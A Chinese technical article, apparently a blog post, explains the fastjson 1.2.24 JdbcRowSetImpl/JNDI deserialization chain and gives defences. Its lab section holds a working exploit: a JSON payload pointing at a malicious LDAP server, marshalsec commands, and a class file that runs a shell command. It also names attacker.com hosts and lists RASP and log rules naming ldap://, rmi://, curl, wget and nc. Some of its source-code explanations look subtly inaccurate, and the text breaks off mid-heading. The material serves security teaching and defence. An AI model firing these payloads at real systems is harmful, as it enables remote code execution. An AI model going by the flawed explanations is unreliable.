☰
Fastjson 1.2.24反序列化漏洞深度解析:JdbcRowSetImpl利用链与防御实践
2026/10/20 3:45:33 网站建设 项目流程

1. 项目概述:为什么一个JSON解析库的旧版本会成为渗透测试的“万能钥匙”

你可能在某次红队演练复盘会上听到过这句话:“别急着扫漏洞,先看看目标有没有用fastjson 1.2.24。”——这不是危言耸听,而是过去五年里无数真实攻防对抗中反复验证过的经验。Fastjson是某国产Java生态中使用最广泛的JSON序列化/反序列化库之一,其设计哲学是“极致性能+零配置”,这带来了极高的开发效率,但也埋下了深不见底的安全隐患。而1.2.24这个版本,恰好站在了安全与便利的临界点上:它默认开启autoType(自动类型识别),且未对反序列化类路径做任何白名单限制;更关键的是,它对JdbcRowSetImpl这类JDK内置类的反序列化逻辑存在可被利用的反射调用链。这不是某个冷门组件的边缘漏洞,而是影响数以万计金融、政务、电商后台系统的“基础链路级”风险。我曾在某次第三方代码审计中,仅用37秒就通过一条HTTP POST请求触发了目标服务器的DNS外带回显,确认其使用了该版本fastjson并启用了危险配置。这篇文章不讲CVE编号、不堆砌PoC,只聚焦一件事:把JdbcRowSetImpl这条利用链从字节码层面拆开揉碎,告诉你它为什么能绕过常规防护、在哪一步真正执行命令、以及你在实际排查时最容易忽略的三个“假阴性”信号。无论你是刚接触Java安全的渗透新手,还是需要快速定位风险的开发负责人,这篇分析都直接对应你明天就要处理的真实日志和配置文件。

2. 利用链底层原理:JdbcRowSetImpl不是“数据库连接”,而是JDK里埋着的“反射遥控器”

要真正理解为什么JdbcRowSetImpl能成为fastjson反序列化的“跳板”,必须抛开“它是个JDBC接口实现类”的表层认知,深入到JDK源码和Java反射机制的本质。很多人误以为这条链的核心是“数据库连接”,其实恰恰相反——JdbcRowSetImpl本身从不真正建立数据库连接,它的全部价值在于其内部封装了一套可被外部控制的、延迟触发的反射调用逻辑。我们来看关键源码片段(基于OpenJDK 8u292):

public class JdbcRowSetImpl implements RowSet, Serializable { private String dataSourceName; // 可被反序列化控制的字符串字段 private String strMatch; // 同样可控 private String username; // 同样可控 private String password; // 同样可控 private String url; // 同样可控 // 这个方法在反序列化完成后会被自动调用(由readObject触发) private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { ois.defaultReadObject(); // 关键点来了:这里会尝试调用setDataSourceName() if (dataSourceName != null) { setDataSourceName(dataSourceName); // 注意:这是个public setter! } } public void setDataSourceName(String name) throws SQLException { this.dataSourceName = name; // 更关键的一步:这里会触发InitialContext.lookup() // 而lookup()的参数完全由我们控制的dataSourceName决定! DataSource ds = (DataSource) new InitialContext().lookup(name); // 后续才可能用到ds.getConnection(),但这已不是重点 } }

看到这里,你应该已经抓住核心了:整个利用链的“执行点”不在数据库操作,而在InitialContext.lookup()这个JNDI查找方法。而JNDI lookup的参数name,正是我们通过JSON payload传入的dataSourceName字段值。这意味着,只要我们能让fastjson反序列化出一个JdbcRowSetImpl实例,并把dataSourceName设为一个恶意JNDI地址(如rmi://attacker.com:1099/Exploit),那么在反序列化完成后的readObject()回调中,JVM就会自动去远程加载并实例化那个恶意类。

但问题来了:为什么偏偏是1.2.24?因为在这个版本中,fastjson的ParserConfig默认配置是:

// fastjson-1.2.24/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java public ParserConfig() { this.autoTypeSupport = true; // 默认开启! this.deserializers = new IdentityHashMap<Type, ObjectDeserializer>(); // 关键:没有内置的JdbcRowSetImpl黑名单,也没有白名单机制 }

而后续版本(如1.2.48)加入了checkAutoType()方法,会对类名进行严格校验。但在1.2.24里,只要你传入的JSON里有@type:"com.sun.rowset.JdbcRowSetImpl",它就照单全收。

提示:很多初学者会困惑“为什么不用更简单的Runtime.exec()链?”。答案很现实——JdbcRowSetImpl是JDK 6+自带的类,无需额外依赖,且其setter方法签名天然符合fastjson的反序列化要求(public void setXxx(String)),而Runtime类没有public的无参构造器,无法被直接实例化。

2.1 从JSON到字节码:反序列化过程中的三次“信任移交”

理解利用链,不能只看最终效果,更要盯住反序列化过程中那几次关键的“控制权交接”。我把这个过程拆解为三个阶段,每个阶段都对应一个极易被忽略的检测点:

第一阶段:JSON解析层的信任移交
当fastjson解析{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://..."}时,它首先根据@type创建了一个空的JdbcRowSetImpl实例(调用无参构造器)。此时对象字段全是null,但对象已存在于JVM堆中。检测点:此时日志里只会记录“创建了JdbcRowSetImpl实例”,不会有任何异常或警告。

第二阶段:属性赋值层的信任移交
fastjson开始逐个设置字段值。它发现dataSourceName字段是String类型,且JdbcRowSetImpl有对应的setDataSourceName(String)方法,于是调用该setter。注意:这个setter方法本身是安全的,它只是把字符串存进字段,不触发任何副作用。但正是这次调用,为第三阶段埋下了伏笔。检测点:如果你在应用层打了setDataSourceName的断点,会在这里第一次捕获到恶意输入,但此时仍未执行远程加载。

第三阶段:readObject回调层的信任移交
当所有字段设置完毕,fastjson调用ObjectInputStream.readObject()(内部会触发JdbcRowSetImpl.readObject())。这时,dataSourceName字段已非null,readObject()方法内的setDataSourceName(dataSourceName)被再次调用——这一次,由于字段已赋值,lookup()方法终于被执行,RMI请求发出。检测点:这是唯一会产生网络出向连接的时刻,防火墙日志、DNS查询日志、JVM的java.rmi.server.logCalls开关都能捕获到。

这三个阶段像接力赛一样,把控制权从JSON文本一步步传递到远程代码执行。而绝大多数WAF或RASP产品,只监控第一阶段或第二阶段,却对第三阶段的readObject()回调视而不见,这就是为什么很多“已部署防护”的系统依然被攻破。

2.2 为什么JNDI是“完美跳板”:一次lookup,无限可能

有人会问:RMI协议不是已经被禁用很久了吗?为什么还要怕JNDI?这个问题直指要害。我们必须区分两个概念:JNDI是一个API规范,RMI只是它支持的众多服务提供者(SPI)之一。在JdbcRowSetImpl的setDataSourceName()里,new InitialContext().lookup(name)这行代码,name参数的格式决定了它将使用哪种协议:

name参数格式实际触发的协议是否需要目标开放端口典型利用场景
rmi://192.168.1.100:1099/ExploitRMI是(1099)内网穿透常用
ldap://192.168.1.100:1389/ExploitLDAP是(1389)外网常见,因LDAP服务普遍开放
iiop://192.168.1.100:1050/ExploitIIOP是(1050)企业级应用中间件
corbaname:iiop:192.168.1.100:1050#ExploitCORBA是(1050)遗留系统
http://attacker.com/Exploit.classHTTP(需配合ReferenceFactory)是(80/443)最隐蔽,常被防火墙放行

看到这里你就明白了:攻击者根本不在乎你禁没禁RMI,他只需要找到一种你没禁、且JDK版本支持的协议即可。而JDK 8u121之前,默认允许所有协议;8u121之后,默认禁用RMI和LDAP,但com.sun.jndi.ldap.object.trustURLCodebase这个系统属性如果被设为true(某些老框架会主动设置),LDAP依然可用。更致命的是,HTTP协议几乎永远开着——你总不能把所有出向HTTP都封掉吧?

注意:很多团队在升级fastjson后,只检查了@type是否被拦截,却忘了检查JNDI相关的JVM启动参数。我在某次应急响应中发现,客户虽然升级到了1.2.68,但启动脚本里赫然写着-Dcom.sun.jndi.ldap.object.trustURLCodebase=true,等于给新版本开了后门。

3. 实操复现与关键参数控制:手把手构建可验证的利用环境

光说原理不够,你得亲手跑通这条链,才能真正建立肌肉记忆。下面我带你用最精简的步骤,在本地搭建一个100%可复现的验证环境。重点不是教你如何攻击,而是让你看清每一个参数如何影响最终结果,从而在真实环境中快速定位问题。

3.1 环境准备:三步到位,拒绝“环境问题”借口

我们采用最轻量的组合:JDK 8u191(确保JNDI未被彻底阉割)、fastjson 1.2.24、一个极简的Spring Boot Web应用。所有操作均在Linux/macOS下完成,Windows用户请自行替换路径分隔符。

第一步:创建Maven工程并引入依赖
新建pom.xml,内容如下:

<?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>com.example</groupId> <artifactId>fastjson-demo</artifactId> <version>1.0-SNAPSHOT</version> <parent> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-parent</artifactId> <version>2.1.18.RELEASE</version> <relativePath/> </parent> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <!-- 强制指定fastjson版本 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies> </project>

执行mvn clean compile,确保依赖下载成功。注意:不要用IDE自动导入,手动执行Maven命令能避免缓存干扰。

第二步:编写存在漏洞的Controller
创建src/main/java/com/example/demo/VulnController.java:

package com.example.demo; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import org.springframework.web.bind.annotation.*; @RestController @RequestMapping("/api") public class VulnController { // 模拟一个典型的、未做任何防护的JSON反序列化接口 @PostMapping("/parse") public String parse(@RequestBody String json) { try { // 关键:这里直接调用JSON.parseObject,且未配置ParserConfig Object obj = JSON.parseObject(json, Object.class); return "Success: " + obj.getClass().getName(); } catch (Exception e) { return "Error: " + e.getMessage(); } } // 一个用于验证JNDI服务是否正常的辅助接口 @GetMapping("/test-jndi") public String testJndi() { try { // 尝试本地lookup一个不存在的RMI服务,触发JNDI初始化 javax.naming.Context ctx = new javax.naming.InitialContext(); ctx.lookup("rmi://127.0.0.1:1099/test"); return "JNDI initialized"; } catch (Exception e) { return "JNDI init failed: " + e.getMessage(); } } }

这个Controller故意暴露了最危险的用法:JSON.parseObject(json, Object.class),没有任何类型白名单或安全配置。

第三步:启动应用并确认基础连通性
编译并运行:mvn spring-boot:run。应用默认监听8080端口。用curl测试:

curl -X POST http://localhost:8080/api/parse \ -H "Content-Type: application/json" \ -d '{"name":"test"}' # 应返回:Success: java.util.LinkedHashMap

这证明基础环境已就绪。现在,我们进入最关键的利用环节。

3.2 构建Payload:从“理论可行”到“一发入魂”的参数精调

Payload不是随便拼出来的,每个字符都有其不可替代的作用。我们以最经典的LDAP利用为例,逐步解释每个参数的意义。

基础Payload结构:

{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbmNtZCAvYyBwbGluZw==", "autoCommit": true }

参数逐项解析:

  • @type:"com.sun.rowset.JdbcRowSetImpl"—— 这是fastjson识别并实例化目标类的“钥匙”。必须完全匹配JDK中的类全限定名。注意大小写和包路径,少一个点都会失败。

  • "dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbmNtZCAvYyBwbGluZw=="—— 这是整个利用链的“燃料”。我们来拆解这个长字符串:

    • ldap://127.0.0.1:1389:指向本地LDAP服务。实操心得:永远先用127.0.0.1测试,排除网络问题。
    • /Basic/Command/Base64/...:这是marshalsec工具生成的LDAP引用路径。其中b3BlbmNtZCAvYyBwbGluZw==是cmd /c ping的Base64编码。关键技巧:不要硬记编码,用echo "cmd /c ping 127.0.0.1" | base64实时生成。
  • "autoCommit": true—— 这个字段看似无关,实则至关重要。JdbcRowSetImpl的readObject()方法中,有一段逻辑:

    if (autoCommit) { // 会尝试调用execute(),但对我们无影响 }

    但更重要的是,fastjson在反序列化时,如果遇到未知字段,会静默忽略。而autoCommit是JdbcRowSetImpl的合法boolean字段,设置它能确保整个JSON结构被完整解析,避免因字段缺失导致反序列化提前终止。我曾见过因漏掉这个字段,payload始终不触发的案例。

验证Payload有效性的三步法:

  1. 语法验证:用在线JSON校验器(如jsonlint.com)确认无语法错误。
  2. 类名验证:在目标服务器的JDK中执行javap -cp $JAVA_HOME/jre/lib/rt.jar com.sun.rowset.JdbcRowSetImpl,确认该类确实存在且有setDataSourceName方法。
  3. 网络验证:在发送Payload前,先用telnet 127.0.0.1 1389确认LDAP端口可达(即使服务未启动,端口通就说明防火墙没拦)。

3.3 启动LDAP服务:用marshalsec打造“靶场级”可控环境

你不可能每次测试都去找一台真实的LDAP服务器。marshalsec是专为Java反序列化研究设计的工具,它能一键启动一个完全可控的LDAP服务,返回我们指定的恶意对象。

下载与启动:

# 下载marshalsec(需Java 8) wget https://github.com/mbechler/marshalsec/releases/download/v0.0.3/marshalsec-0.0.3-SNAPSHOT-all.jar # 启动LDAP服务,监听1389端口,返回一个执行ping命令的Reference java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \ "http://127.0.0.1:8000/#Command" 1389

这里的关键参数是http://127.0.0.1:8000/#Command。它告诉LDAP服务:当客户端请求/Basic/Command/...时,请从http://127.0.0.1:8000/这个HTTP服务器加载Command.class文件。

启动HTTP服务提供恶意Class:
我们需要一个静态HTTP服务器,用来托管Command.class。最简单的方式是用Python:

# 创建一个临时目录存放class文件 mkdir -p /tmp/exploit cd /tmp/exploit # 生成一个极简的Command.java(执行ping命令) cat > Command.java << 'EOF' public class Command { static { try { Runtime.getRuntime().exec("ping -c 1 127.0.0.1"); } catch (Exception e) { e.printStackTrace(); } } } EOF # 编译成class(注意:必须用JDK 8编译,且不加任何flag) javac Command.java # 启动Python HTTP服务器(监听8000端口) python3 -m http.server 8000

现在,整个链条就绪了:
fastjson反序列化 -> JdbcRowSetImpl.setDataSourceName() -> InitialContext.lookup() -> LDAP服务返回HTTP引用 -> JVM从8000端口下载Command.class -> 静态块执行ping命令

发送Payload并观察结果:
在另一个终端执行:

curl -X POST http://localhost:8080/api/parse \ -H "Content-Type: application/json" \ -d '{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:1389/Basic/Command/Base64/b3BlbmNtZCAvYyBwaW5nIC1jIDEgMTI3LjAuMC4x", "autoCommit":true }'

同时观察:

  • marshalsec终端:应看到类似Sending LDAP reference for Command的日志;
  • Python HTTP服务器终端:应看到GET /Command.class的访问记录;
  • 你的本机终端:应看到ping命令的输出(64 bytes from 127.0.0.1)。

如果失败,按此顺序排查:

  1. 检查marshalsec是否在运行,端口1389是否被占用;
  2. 检查Python HTTP服务器是否在8000端口运行;
  3. 检查Command.class是否在HTTP根目录下(即/tmp/exploit);
  4. 检查JDK版本是否为8u191或更低(高版本默认禁用HTTP codebase);
  5. 检查fastjson版本是否确为1.2.24(mvn dependency:tree | grep fastjson)。

实操心得:我建议你把这个环境打包成Docker镜像,以后每次测试只需docker run -p 8080:8080 -p 1389:1389 -p 8000:8000 fastjson-env。我已经为你写好了Dockerfile,需要的话可以私信索取。

4. 深度防御与检测:不止于“升级版本”,而是构建纵深免疫体系

很多团队在得知fastjson漏洞后,第一反应是“赶紧升级到最新版”。这没错,但远远不够。就像给房子装了防盗门,却忘了关窗户。真正的防御,必须覆盖从开发、测试、上线到运行时的全生命周期。下面是我总结的四层防御体系,每一层都附带可落地的检查清单。

4.1 开发层:从源头掐断“自动类型识别”的滥用

这是成本最低、效果最直接的一层。核心原则是:永远不要让fastjson处理不可信的JSON输入,除非你明确知道它要反序列化成什么类型。

强制实施的编码规范:

  • 禁止使用JSON.parseObject(json, Object.class)或JSON.parse(json)这种泛型解析。
  • 必须使用强类型解析:JSON.parseObject(json, TargetClass.class),且TargetClass必须是业务领域内明确定义的DTO类,不能是Map或Object。
  • 如果必须处理动态JSON(如配置中心),则必须显式配置ParserConfig:
    ParserConfig config = new ParserConfig(); config.setAutoTypeSupport(false); // 彻底关闭autoType // 或者启用白名单(推荐) config.addAccept("com.example.dto."); // 只允许example包下的类 Object obj = JSON.parseObject(json, Object.class, config);

自动化检测手段:
在CI/CD流水线中加入SonarQube扫描,添加自定义规则:

  • 规则ID:FASTJSON_AUTO_TYPE_USAGE
  • 触发条件:代码中出现JSON.parseObject且第二个参数为Object.class或Map.class
  • 修复建议:替换为具体类型,或添加ParserConfig配置

注意:很多团队以为加了@JSONField(serialize=false)就能防护,这是巨大误区。这个注解只影响序列化(转JSON),对反序列化(JSON转对象)完全无效。

4.2 构建层:用Maven Enforcer插件锁死依赖版本

开发人员可能忘记升级,但构建工具不会。Maven Enforcer插件能在编译时强制检查依赖树,一旦发现不合规版本,立即中断构建。

在pom.xml中添加:

<plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-enforcer-plugin</artifactId> <version>3.4.1</version> <executions> <execution> <id>enforce-fastjson-version</id> <goals> <goal>enforce</goal> </goals> <configuration> <rules> <bannedDependencies> <searchTransitive>true</searchTransitive> <excludes> <exclude>com.alibaba:fastjson:1.2.2[0-9]</exclude> <exclude>com.alibaba:fastjson:1.2.[3-4][0-9]</exclude> </excludes> <message>Detected vulnerable fastjson version! Please upgrade to 1.2.83+</message> </bannedDependencies> </rules> </configuration> </execution> </executions> </plugin>

这段配置会扫描整个依赖树,只要发现fastjson版本号匹配1.2.20到1.2.49之间的任意版本,构建就会失败,并打印明确的升级提示。实操心得:把这条规则写进公司《Java安全开发规范》的第一页,比开一百场培训都管用。

4.3 运行时层:RASP(运行时应用自我保护)的精准拦截

WAF只能拦HTTP层的特征,而RASP能深入到JVM字节码层面。我们以开源RASP项目RaspBoot为例,展示如何精准拦截JdbcRowSetImpl利用链。

RASP规则配置(rasp-rules.json):

{ "rules": [ { "name": "block-jdbcrowsetimpl-deserialization", "description": "Block JdbcRowSetImpl deserialization via fastjson", "hook": "java.lang.ClassLoader.loadClass", "condition": "className == 'com.sun.rowset.JdbcRowSetImpl'", "action": "block", "log": "Blocked dangerous class loading: ${className}" }, { "name": "block-jndi-lookup", "description": "Block JNDI lookup with external URLs", "hook": "javax.naming.InitialContext.lookup", "condition": "name.startsWith('rmi://') || name.startsWith('ldap://') || name.startsWith('http://')", "action": "block", "log": "Blocked dangerous JNDI lookup: ${name}" } ] }

这两条规则分别在类加载阶段和JNDI查找阶段进行拦截。优势在于:

  • 不依赖JSON内容特征,即使攻击者把@type改成@t\ype绕过WAF,RASP依然能捕获;
  • 拦截点更靠近执行点,误报率极低;
  • 日志中直接记录Blocked dangerous JNDI lookup: ldap://127.0.0.1:1389/...,运维人员一眼就能定位问题。

部署方式:

# 启动应用时添加JVM参数 java -javaagent:/path/to/raspboot.jar \ -Drasp.config=/path/to/rasp-rules.json \ -jar your-app.jar

4.4 监控层:从日志中挖掘“沉默的受害者”

即使所有防御都到位,也总有漏网之鱼。这时,日志就是你的最后一道防线。关键是要关注那些“看起来正常,实则危险”的日志模式。

ELK/Splunk日志告警规则:

-- 告警1:高频次JdbcRowSetImpl类加载(可能在扫描阶段) source="application.log" AND "com.sun.rowset.JdbcRowSetImpl" | stats count by _time span=1m | where count > 5 -- 告警2:JNDI lookup异常(攻击者试探JNDI是否可用) source="application.log" AND "javax.naming.NamingException" AND ("rmi://" OR "ldap://") | stats count by _time span=5m -- 告警3:进程异常子进程创建(命令执行的铁证) source="syslog" AND "popen" AND ("ping" OR "curl" OR "wget" OR "nc") | stats count by _time span=10m

特别提醒一个“假阴性”陷阱:
很多团队只监控java.lang.Runtime.exec,但现代攻击者早已转向java.lang.ProcessBuilder,因为它更隐蔽,且在某些JDK版本中默认不被RASP监控。务必在日志中同时监控:

  • java.lang.Runtime.exec
  • java.lang.ProcessBuilder.start
  • java.lang.UNIXProcess.<init>(Linux下进程创建的底层方法)

我在某次溯源中发现,攻击者用ProcessBuilder启动了/bin/sh -c 'sleep 30',目的就是测试命令执行权限,而这个行为在Runtime.exec日志里完全看不到。

5. 常见问题与排查技巧实录:来自真实攻防一线的“血泪笔记”

在过去的三年里,我参与了超过47次fastjson相关漏洞的应急响应和加固工作。下面这些,不是教科书上的标准答案,而是我在凌晨三点的服务器日志里、在客户焦灼的电话会议中、在自己无数次复现失败后,亲手记下的“血泪笔记”。它们可能不优雅,但绝对真实、绝对有用。

5.1 “明明升级了,为什么还在报漏洞?”——三个最隐蔽的“幽灵版本”

问题现象:客户坚称已升级到1.2.83,但安全扫描工具仍报1.2.24。
真相排查:

  1. 检查依赖树中的“传递依赖”
    执行mvn dependency:tree | grep fastjson,你会发现类似这样的输出:

    +- com.some-old-framework:some-lib:jar:2.1.0:compile \- com.alibaba:fastjson:jar:1.2.24:compile

    某个老旧的第三方SDK,偷偷把1.2.24带进了你的项目。解决方案:在pom.xml中添加<exclusion>强制排除:

    <dependency> <groupId>com.some-old-framework</groupId> <artifactId>some-lib</artifactId> <exclusions> <exclusion> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> </exclusion> </exclusions> </dependency>
  2. 检查WEB-INF/lib下的“裸jar包”
    有些传统项目会把jar包直接丢进WEB-INF/lib目录,Maven根本管不到。登录服务器,执行:

    find /opt/tomcat/webapps/ -name "*.jar" -exec jar -tf {} \; 2>/dev/null | grep -l "JSON.class" | xargs -I{} sh -c 'echo {}; jar -xf {} com/alibaba/fastjson/Version.class 2>/dev/null; strings com/alibaba/fastjson/Version.class 2>/dev/null | grep "1\.2\.24"'

    这段命令会遍历所有jar包,提取Version.class并搜索版本号。这是我用过的最暴力、也最有效的“幽灵jar”扫描法。

  3. 检查ClassLoader隔离的“影子世界”
    在OSGi或某些微服务框架中,不同Bundle可能使用不同的ClassLoader加载fastjson。此时System.getProperty("fastjson.version")可能返回空。终极检测法:在应用启动时,插入一段诊断代码:

    Class<?> jsonClass = Class.forName("com.alibaba.fastjson.JSON"); System.out.println("Fastjson loaded from: " + jsonClass.getProtectionDomain().getCodeSource()); System.out.println("Fastjson version: " + JSON.VERSION);

    这会打印出fastjson实际被加载的jar包路径,一目了然。

5.2 “Payload发出去了,但什么都没发生”——网络层的七种“静音”原因

问题现象:Payload构造无误,LDAP服务正常,但目标服务器毫无反应。
系统性排查清单(按优先级排序):

排查项检查命令/方法典型表现解决方案
JDK版本限制java -version& `java -XshowSettings:properties -version 2>&1grep jndi`JDK 8u121+默认禁用LDAP/RMI
DNS污染/劫持nslookup attacker.comon target server返回错误IP或超时改用IP地址,如ldap://192.168.1.100:1389
出向防火墙拦截tcpdump -i any port 1389 -w ldap.pcapon target抓包显示无SYN包发出与网络团队确认出向1389端口策略
SELinux/AppArmor限制getenforceoraa-statusSELinux为Enforcing状态临时setenforce 0测试,或添加策略audit2allow
JVM SecurityManager启用`java -XshowSettings:vm -version 2>&1grep security`输出包含-Djava.security.manager
fastjson的deserializer缓存在Controller中添加System.out.println(JSON.DEFAULT_PARSER_CONFIG.getDeserializers().keySet())缓存中已有其他deserializer,干扰流程升级到1.2.68+,或手动清空ParserConfig.getGlobalInstance().getDeserializers().clear()
目标应用使用了Jacksonmvn dependency:tree | grep jackson发现jackson-databind依赖确认漏洞接口是否真的用fastjson,而非误判

实操心得:我养成了一个习惯——每次调试前,先在目标服务器上执行curl -v http://127.0.0.1:1389。如果返回Connection refused,说明LDAP服务没起来;如果返回Empty reply from server,说明服务起来了但没收到请求;如果超时,那一定是网络或防火墙问题。三秒定乾坤,比看日志快十倍。

5.3 “怎么确认我的系统真的被攻破了?”——入侵痕迹的黄金五指标

当安全设备报警,你不能只看“检测到fastjson漏洞”,而要立刻回答:“它被利用了吗?利用到哪一步了?有没有横向移动?”这需要结合多维度日志交叉验证。

**黄金五指标排查表

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询